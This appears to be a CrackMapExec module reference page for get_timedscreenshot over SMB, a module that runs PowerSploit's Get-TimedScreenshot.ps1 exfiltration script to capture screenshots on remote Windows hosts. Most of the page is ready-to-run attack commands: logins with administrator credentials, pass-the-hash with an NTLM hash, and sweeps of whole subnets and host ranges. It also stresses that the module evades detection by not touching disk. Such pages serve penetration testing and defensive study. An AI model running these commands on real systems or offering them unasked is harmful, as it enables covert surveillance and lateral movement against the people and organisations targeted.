CrackMapExec Get_timedscreenshot (smb)


This page contains detailed information about how to use the get_timedscreenshot CME module while using the smb protocol. For list of all CrackMapExec modules, visit the CrackMapExec Module Library.

Description

This module takes screenshots on the target system(s) at a regular interval. It works by executing the PowerSploit's Get-TimedScreenshot.ps1 exfiltration script.

The get_timedscreenshot module is OPSEC safe. This means that it doesn't touch the disk and therefore shouldn't trigger any alarms.

Supported Protocols

  • mssql
  • smb

Module Source Code

Authors

Module Options

Here is a complete list of get_timedscreenshot module options:

# cme smb -M get_timedscreenshot --options
[*] get_timedscreenshot module options:

        INTERVAL  Specifies the interval in seconds between taking screenshots.
        ENDTIME   Specifies when the script should stop running in the format HH:MM (Military Time).

The INTERVAL and ENDTIME options are required! Make sure to set them when using this module.

Module Usage

This is how to use the get_timedscreenshot module while using the smb protocol:

Syntax:
# cme smb <TARGET[s]> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -M get_timedscreenshot -o INTERVAL=<seconds> -o ENDTIME=<HH:MM>

Local admin:
# cme smb 10.0.5.1 -u Administrator -p P@ss123 -d . -M get_timedscreenshot -o INTERVAL=5 -o ENDTIME=13:30
# cme smb 10.0.5.1 -u Administrator -p P@ss123 --local-auth -M get_timedscreenshot -o INTERVAL=5 -o ENDTIME=13:30

Domain user:
# cme smb 10.0.5.1 -u bkpadmin -p P@ss123 -d target.corp -M get_timedscreenshot -o INTERVAL=5 -o ENDTIME=13:30

CrackMapExec also supports passing the hash, so you can specify NTLM hash instead of a password:

# cme smb 10.0.5.1 -u Administrator -H 432b022dc22aa5afe884e986b8383ff2 -d . -M get_timedscreenshot -o INTERVAL=5 -o ENDTIME=13:30
# cme smb 10.0.5.1 -u bkpadmin -H 432b022dc22aa5afe884e986b8383ff2 -d target.corp -M get_timedscreenshot -o INTERVAL=5 -o ENDTIME=13:30
The get_timedscreenshot module can be also used against multiple hosts. Here's how to run it against multiple hosts:

# cme smb target_list.txt -u Administrator -p P@ss123 -d . -M get_timedscreenshot -o INTERVAL=5 -o ENDTIME=13:30
# cme smb 10.0.5.0/24 -u Administrator -p P@ss123 -d . -M get_timedscreenshot -o INTERVAL=5 -o ENDTIME=13:30
# cme smb 10.0.5.1-100 -u Administrator -p P@ss123 -d . -M get_timedscreenshot -o INTERVAL=5 -o ENDTIME=13:30

References

Version

This page has been created based on CrackMapExec version 5.1.7dev.
Visit CrackMapExec Module Library for more modules.